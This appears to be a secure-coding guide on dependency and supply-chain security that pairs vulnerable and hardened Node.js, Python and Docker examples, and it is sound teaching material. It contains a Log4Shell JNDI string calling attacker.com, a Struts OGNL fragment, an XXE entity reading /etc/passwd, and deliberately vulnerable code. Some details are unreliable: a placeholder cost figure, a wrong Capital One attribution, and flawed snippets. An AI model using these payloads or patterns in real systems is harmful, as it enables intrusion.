Your Security Posture = f(Your Code + Your Dependencies + Their Dependencies)

If ANY function in that chain is vulnerable → You are vulnerable

"text-slate-500 font-normal italic">// 🔴 VULNERABLE CODE (innocent logging statement)
logger.info("User logged in: " + username);
"text-slate-500 font-normal italic">// If username = "${jndi:ldap://attacker.com/a}"
"text-slate-500 font-normal italic">// → Remote code execution on the server

Attacker sends:
Content-Type: %{("text-slate-500 font-normal italic">#_='multipart/form-data')...}

Struts processes this → OGNL injection → RCE

Your package.json:
{
  "dependencies": {
    "express": "^4.18.0"    ← You control this
  }
}

But express depends on:
├── accepts
├── body-parser
│   └── raw-body
│       └── ...
├── content-disposition
├── cookie
├── ...
└── 50+ other packages

And THOSE depend on more packages...

Total tree: 100+ packages
Vulnerable packages in tree: ???

Popular:    lodash
Typosquat:  lodahs, lodas, loadsh, lodashs

Popular:    request
Typosquat:  reqeust, requet, requst

Popular:    cross-env
Typosquat:  cross-enc, crossenv, cross-efn

"text-slate-500 font-normal italic"># Check if package exists on npm
npm view <package-name>

"text-slate-500 font-normal italic"># Compare to expected
npm view lodash version     "text-slate-500 font-normal italic"># Official
npm view lodahs version     "text-slate-500 font-normal italic"># Typosquat?

"text-slate-500 font-normal italic"># Check publish date, maintainer, downloads
npm view <package> --json

Dependency Lifecycle:

Year 1:  🎉 Active development, frequent updates
Year 2:  🟢 Stable, occasional updates
Year 3:  🟡 Slow updates, PRs not merged
Year 5:  🟠 No updates, issues ignored
Year 10: 🔴 Abandoned, but still in use
Year 15: 💀 EOL, full of vulnerabilities, still in production

{
  "bomFormat": "CycloneDX",
  "specVersion": "1.4",
  "components": [
    {
      "type": "library",
      "name": "lodash",
      "version": "4.17.21",
      "purl": "pkg:npm/[email protected]",
      "hashes": [
        {
          "alg": "SHA-256",
          "content": "a1b2c3..."
        }
      ],
      "licenses": [
        {
          "license": {
            "id": "MIT"
          }
        }
      ],
      "supplier": {
        "name": "OpenJS Foundation"
      },
      "cpe": "cpe:2.3:a:lodash:lodash:4.17.21:*:*:*:*:*:*:*"
    }
  ],
  "dependencies": [
    {
      "ref": "pkg:npm/[email protected]",
      "dependsOn": [
        "pkg:npm/[email protected]"
      ]
    }
  ]
}

// 🔴 VULNERABLE — SemVer ranges pull in vulnerable versions
{
  "dependencies": {
    "lodash": "^4.17.0",    // Allows 4.17.0 - 4.x.x
    "express": "~4.18.0",   // Allows 4.18.0 - 4.18.x
    "axios": "*"            // ANY VERSION (terrifying)
  }
}

// 🟢 SECURE — Exact versions only
{
  "dependencies": {
    "lodash": "4.17.21",    // Exact version, locked
    "express": "4.18.2",
    "axios": "1.6.2"
  },
  "resolutions": {          // Force transitive deps
    "minimist": "1.2.8"     // Override vulnerable transitive dep
  }
}

"text-slate-500 font-normal italic"># Always commit lock files
package-lock.json   (npm)
yarn.lock           (Yarn)
poetry.lock         (Python Poetry)
Pipfile.lock        (Pipenv)
go.sum              (Go)
composer.lock       (PHP)
Gemfile.lock        (Ruby)

"text-slate-500 font-normal italic"># 🔴 WRONG — Installs latest matching versions
npm install

"text-slate-500 font-normal italic"># 🟢 CORRECT — Installs EXACTLY what's in lock file
npm ci

# .github/dependabot.yml (GitHub)
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "daily"
    open-pull-requests-limit: 10
    reviewers:
      - "security-team"
    labels:
      - "dependencies"
      - "security"
    # Auto-merge patch updates
    allow:
      - dependency-type: "direct"
        update-type: "version-update:semver-patch"

# renovate.json (Renovate Bot)
{
  "extends": ["config:recommended"],
  "schedule": ["before 6am on monday"],
  "timezone": "UTC",
  "vulnerabilityAlerts": {
    "enabled": true,
    "labels": ["security"],
    "automerge": false,
    "schedule": ["at any time"]
  },
  "packageRules": [
    {
      "matchPackagePatterns": ["*"],
      "matchUpdateTypes": ["patch"],
      "automerge": true,
      "automergeType": "pr"
    }
  ]
}

# 🔴 VULNERABLE — Full OS with hundreds of packages
FROM ubuntu:latest
RUN apt-get update && apt-get install -y python3 python3-pip
# 200+ packages, many with known CVEs, EOL in 2 years

# 🟢 SECURE — Minimal, pinned, multi-stage
FROM python:3.11.7-slim-bookworm AS builder
WORKDIR /app
COPY requirements.txt .
RUN pip install --user --no-cache-dir -r requirements.txt

FROM python:3.11.7-slim-bookworm
RUN groupadd -r appuser && useradd -r -g appuser appuser
WORKDIR /app
COPY --from=builder /root/.local /home/appuser/.local
COPY --chown=appuser:appuser . .
USER appuser
ENV PATH=/home/appuser/.local/bin:$PATH
CMD ["python", "app.py"]
# ~50 packages, actively maintained, non-root user

🔴 WRONG — Shared dependencies, no isolation:
App A → Library X v1.0
App B → Library X v2.0 (conflict!)
App C → Library X v1.5

🟢 CORRECT — Isolated dependencies:
App A (Container) → Library X v1.0
App B (Container) → Library X v2.0
App C (VM/Container) → Library X v1.5

Or use virtual environments, language-specific isolation.

"text-slate-500 font-normal italic"># Download all dependencies
npm install
"text-slate-500 font-normal italic"># Or use tools like:
"text-slate-500 font-normal italic"># - npm pack + vendor
"text-slate-500 font-normal italic"># - vendir (VMware)
"text-slate-500 font-normal italic"># - go mod vendor (Go)

"text-slate-500 font-normal italic"># Commit to repository
git add node_modules/  "text-slate-500 font-normal italic"># Or vendor/ directory

"text-slate-500 font-normal italic"># Build from vendored copies only (no internet needed)
npm ci --offline

# .github/workflows/security.yml
name: Security Scan

on: [push, pull_request]

jobs:
  sca-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      
      # npm audit
      - name: NPM Audit
        run: |
          npm audit --audit-level=moderate
          # Fail build if high/critical vulnerabilities found
          npm audit --audit-level=high --json > audit-report.json
      
      # Snyk (if you have API key)
      - name: Snyk Scan
        uses: snyk/actions/node@master
        env:
          SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
        with:
          args: --severity-threshold=high --fail-on=all
      
      # OWASP Dependency-Check
      - name: OWASP Dependency Check
        uses: dependency-check/Dependency-Check_Action@main
        with:
          project: 'my-app'
          path: '.'
          format: 'HTML'
          args: >
            --failOnCVSS 7
            --enableRetired
        
      # Container scanning with Trivy
      - name: Trivy vulnerability scanner
        uses: aquasecurity/trivy-action@master
        with:
          image-ref: 'myapp:${{ github.sha }}'
          format: 'sarif'
          output: 'trivy-results.sarif'
          severity: 'CRITICAL,HIGH'
          exit-code: '1'
      
      # SBOM generation
      - name: Generate SBOM
        run: |
          syft packages dir:. -o cyclonedx-json > sbom.json
          # Upload to artifact storage

🔴 LEGAL RISK:
Using GPL-licensed code in proprietary software = License violation
= Potential lawsuit, forced open-sourcing, damages

🟢 SCANNING:
Tools like FOSSA, Black Duck, or LicenseFinder scan for:
- GPL (copyleft — requires derivative works to be GPL)
- AGPL (network copyleft — SaaS trigger)
- LGPL (weaker copyleft — linking restrictions)
- Apache 2.0 (patent grants)
- MIT/BSD (permissive — safe)

// ══════════════════════════════════════════════════════════════
// 🔴 VULNERABLE NODE.JS APP
// ══════════════════════════════════════════════════════════════

// package.json — Vulnerable versions
{
  "dependencies": {
    "lodash": "4.17.15",           // CVE-2020-8203 (Prototype Pollution)
    "request": "2.88.0",           // Deprecated, multiple CVEs
    "moment": "2.24.0",            // CVE-2022-31129 (ReDoS)
    "xmldom": "0.1.27",            // CVE-2021-32796 (XXE)
    "handlebars": "4.5.3"          // CVE-2021-23369 (Prototype Pollution)
  }
}

// app.js — Using vulnerable XML parser
const { parseString } = require('xmldom').DOMParser;

// 🔴 XXE Vulnerability — allows file read, SSRF, DoS
app.post('/api/xml', (req, res) => {
    const parser = new DOMParser();
    const xmlDoc = parser.parseFromString(req.body.xml, "text/xml");
    // Attacker sends: <!ENTITY xxe SYSTEM "file:///etc/passwd">
    // Server reads /etc/passwd and returns it
    res.json({ result: xmlDoc.documentElement.textContent });
});

// 🔴 Using deprecated request library
const request = require('request');
app.get('/proxy', (req, res) => {
    // SSRF vulnerability — no URL validation
    request(req.query.url).pipe(res);
});

// 🔴 Dynamic require (potential for code injection)
app.get('/module/:name', (req, res) => {
    const mod = require(req.params.name);  // 🔴 Arbitrary module loading
    res.json(mod);
});

// ══════════════════════════════════════════════════════════════
// 🟢 SECURE NODE.JS APP
// ══════════════════════════════════════════════════════════════

// package.json — Secure versions + lock file
{
  "dependencies": {
    "lodash": "4.17.21",           // ✅ Latest secure version
    "axios": "1.6.2",              // ✅ Modern, maintained HTTP client
    "dayjs": "1.11.10",            // ✅ Lightweight date lib (moment alternative)
    "@xmldom/xmldom": "0.8.10",    // ✅ Maintained fork, XXE safe by default
    "handlebars": "4.7.8"          // ✅ Latest secure version
  }
}

// app.js — Secure XML parsing
const { DOMParser } = require('@xmldom/xmldom');

app.post('/api/xml', (req, res) => {
    // ✅ Validate input size
    if (req.body.xml.length > 10000) {
        return res.status(400).json({ error: 'Payload too large' });
    }

    // ✅ Safe XML parsing — disable external entities
    const parser = new DOMParser({
        // Disable XXE by not allowing external DTDs
        errorHandler: {
            warning: () => {},
            error: (msg) => { throw new Error('XML parse error'); },
            fatalError: (msg) => { throw new Error('XML fatal error'); }
        }
    });

    let xmlDoc;
    try {
        xmlDoc = parser.parseFromString(req.body.xml, "text/xml");
    } catch (e) {
        return res.status(400).json({ error: 'Invalid XML' });
    }

    // ✅ Never return raw parsed content without sanitization
    const result = sanitizeXmlContent(xmlDoc);
    res.json({ result });
});

// ✅ Secure HTTP client with validation
const axios = require('axios');

app.get('/proxy', async (req, res) => {
    const targetUrl = req.query.url;

    // ✅ Allowlist of domains (prevent SSRF)
    const ALLOWED_DOMAINS = ['api.example.com', 'cdn.example.com'];
    const parsed = new URL(targetUrl);

    if (!ALLOWED_DOMAINS.includes(parsed.hostname)) {
        return res.status(403).json({ error: 'Domain not allowed' });
    }

    // ✅ Prevent private IP ranges (SSRF protection)
    if (isPrivateIP(parsed.hostname)) {
        return res.status(403).json({ error: 'Private IPs not allowed' });
    }

    try {
        const response = await axios.get(targetUrl, {
            timeout: 5000,
            maxRedirects: 0,  // Don't follow redirects to internal IPs
            validateStatus: (status) => status < 500
        });
        res.json(response.data);
    } catch (err) {
        res.status(500).json({ error: 'Upstream error' });
    }
});

// ✅ Secure module loading — allowlist only
const ALLOWED_MODULES = ['user-service', 'payment-service', 'logger'];

app.get('/module/:name', (req, res) => {
    const moduleName = req.params.name;

    if (!ALLOWED_MODULES.includes(moduleName)) {
        return res.status(403).json({ error: 'Module not allowed' });
    }

    // ✅ Use static imports instead of dynamic require
    const moduleMap = {
        'user-service': require('./services/user'),
        'payment-service': require('./services/payment'),
        'logger': require('./services/logger')
    };

    res.json(moduleMap[moduleName].info);
});

# ══════════════════════════════════════════════════════════════
# 🔴 VULNERABLE PYTHON APP
# ══════════════════════════════════════════════════════════════

# requirements.txt — Vulnerable versions
"""
requests==2.25.0        # CVE-2023-32681 (Proxy-Authorization leak)
pyyaml==5.3.1           # CVE-2020-14343 (FullLoader RCE)
jinja2==2.11.0          # CVE-2020-28493 (XSS via urlize)
pillow==8.1.0           # Multiple CVEs (buffer overflow, RCE)
django==3.1.0           # Multiple CVEs (SQL injection, XSS)
"""

import yaml
import requests
from PIL import Image

# 🔴 RCE via YAML deserialization
def load_config(user_input):
    config = yaml.load(user_input)  # 🔴 Arbitrary code execution
    return config

# 🔴 SSRF via requests
def fetch_data(url):
    response = requests.get(url)  # 🔴 No URL validation
    return response.text

# 🔴 Command injection via Image processing
def process_image(filename):
    img = Image.open(filename)
    img.save(f"output_{filename}")  # 🔴 Path traversal possible

# ══════════════════════════════════════════════════════════════
# 🟢 SECURE PYTHON APP
# ══════════════════════════════════════════════════════════════

# requirements.txt — Secure versions
"""
requests==2.31.0        # ✅ Latest secure
PyYAML==6.0.1           # ✅ Fixed RCE
Jinja2==3.1.2           # ✅ Fixed XSS
Pillow==10.1.0          # ✅ Latest secure
Django==4.2.7           # ✅ LTS, secure
defusedxml==0.7.1       # ✅ Safe XML parsing
validators==0.22.0      # ✅ URL validation
"""

import yaml
import requests
from PIL import Image, UnidentifiedImageError
import validators
from urllib.parse import urlparse
import ipaddress
import os

# ✅ Safe YAML loading
def load_config(user_input):
    try:
        # ✅ Use safe_load, never load (which allows arbitrary objects)
        config = yaml.safe_load(user_input)
        # ✅ Validate structure
        if not isinstance(config, dict):
            raise ValueError("Config must be a dictionary")
        return config
    except yaml.YAMLError as e:
        raise ValueError(f"Invalid YAML: {e}")

# ✅ SSRF protection
def is_safe_url(url):
    """Validate URL to prevent SSRF"""
    try:
        parsed = urlparse(url)
    except:
        return False

    # Must be http/https
    if parsed.scheme not in ('http', 'https'):
        return False

    # Resolve hostname to IP
    import socket
    try:
        ip = socket.gethostbyname(parsed.hostname)
        ip_obj = ipaddress.ip_address(ip)
    except:
        return False

    # Block private/internal IPs
    if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:
        return False

    return True

def fetch_data(url):
    # ✅ Validate URL first
    if not validators.url(url):
        raise ValueError("Invalid URL format")

    if not is_safe_url(url):
        raise ValueError("URL points to internal resource")

    try:
        response = requests.get(
            url,
            timeout=10,
            allow_redirects=False,  # Prevent redirect-based SSRF
            headers={'User-Agent': 'SecureBot/1.0'}
        )
        response.raise_for_status()
        return response.text
    except requests.RequestException as e:
        raise RuntimeError(f"Request failed: {e}")

# ✅ Safe image processing
def process_image(filename):
    # ✅ Validate filename (no path traversal)
    safe_name = os.path.basename(filename)
    if safe_name != filename:
        raise ValueError("Invalid filename")

    # ✅ Validate file extension
    ALLOWED_EXTENSIONS = {'.jpg', '.jpeg', '.png', '.gif', '.webp'}
    ext = os.path.splitext(safe_name)[1].lower()
    if ext not in ALLOWED_EXTENSIONS:
        raise ValueError("File type not allowed")

    # ✅ Validate image content
    try:
        with Image.open(filename) as img:
            img.verify()  # Check integrity
    except UnidentifiedImageError:
        raise ValueError("Invalid image file")

    # ✅ Re-open (verify() closes the file)
    with Image.open(filename) as img:
        # ✅ Limit image size (prevent decompression bomb)
        if img.width * img.height > 10000 * 10000:
            raise ValueError("Image too large")

        # ✅ Sanitize and convert
        img = img.convert('RGB')
        output_path = os.path.join('secure_uploads', safe_name)
        img.save(output_path, 'JPEG', quality=85)

"text-slate-500 font-normal italic"># Trivy — Comprehensive scanner
trivy image myapp:latest
trivy image --severity HIGH,CRITICAL myapp:latest
trivy fs --scanners vuln,secret,license .

"text-slate-500 font-normal italic"># Grype — Fast vulnerability scanner
grype myapp:latest
grype myapp:latest -o json > scan-results.json

"text-slate-500 font-normal italic"># Snyk — Developer-friendly
snyk container test myapp:latest
snyk container monitor myapp:latest

"text-slate-500 font-normal italic"># Docker Scout (built into Docker Desktop)
docker scout cves myapp:latest
docker scout quickview myapp:latest

"text-slate-500 font-normal italic"># Clair (for registries)
clair-scanner --ip YOUR_IP myapp:latest

# ✅ Pin base image to specific digest (not just tag)
FROM python:3.11.7-slim-bookworm@sha256:a1b2c3... AS builder

# ✅ Install only what you need
RUN apt-get update && apt-get install -y --no-install-recommends \
    gcc \
    libpq-dev \
    && rm -rf /var/lib/apt/lists/* \
    && apt-get clean

# ✅ Multi-stage build (don't ship build tools)
FROM python:3.11.7-slim-bookworm@sha256:a1b2c3...

# ✅ Copy only requirements first (layer caching)
COPY requirements.txt .
RUN pip install --no-cache-dir --user -r requirements.txt

# ✅ Copy application code
COPY --chown=appuser:appuser . /app

# ✅ Switch to non-root
USER appuser

# ✅ Health check
HEALTHCHECK --interval=30s --timeout=3s --retries=3 \
    CMD curl -f http://localhost:8000/health || exit 1

# ✅ Use exec form (better signal handling)
CMD ["gunicorn", "--bind", "0.0.0.0:8000", "--workers", "4", "app:app"]

I will not import a dependency without verifying its source.
I will pin my versions and commit my lock files.
I will scan my dependencies in every build.
I will update my dependencies automatically.
I will maintain an SBOM for every release.
I will treat my supply chain as part of my attack surface.

┌────────────────────────────────────────────────────────────────────┐
│              THE COST OF VULNERABLE COMPONENTS                     │
├────────────────────────────────────────────────────────────────────┤
│                                                                    │
│  Equifax (Apache Struts):                    $1.4 BILLION         │
│  Log4Shell (Log4j):                          $XXX MILLIONS*       │
│  SolarWinds (Supply Chain):                  $90 MILLION+         │
│  Capital One (Misconfig + Struts):           $190 MILLION         │
│                                                                    │
│  Average cost of a breach:                   $4.45 MILLION        │
│  % of breaches involving known vulns:        ~60%                │
│  Average time to patch critical CVE:         204 DAYS           │
│                                                                    │
│  Cost of SCA tooling (Snyk/Dependabot):      $0 - $50K/year     │
│  ROI of preventing ONE breach:               30x - 100x          │
│                                                                    │
│  *Log4Shell global remediation costs estimated in the billions     │
│                                                                    │
└────────────────────────────────────────────────────────────────────┘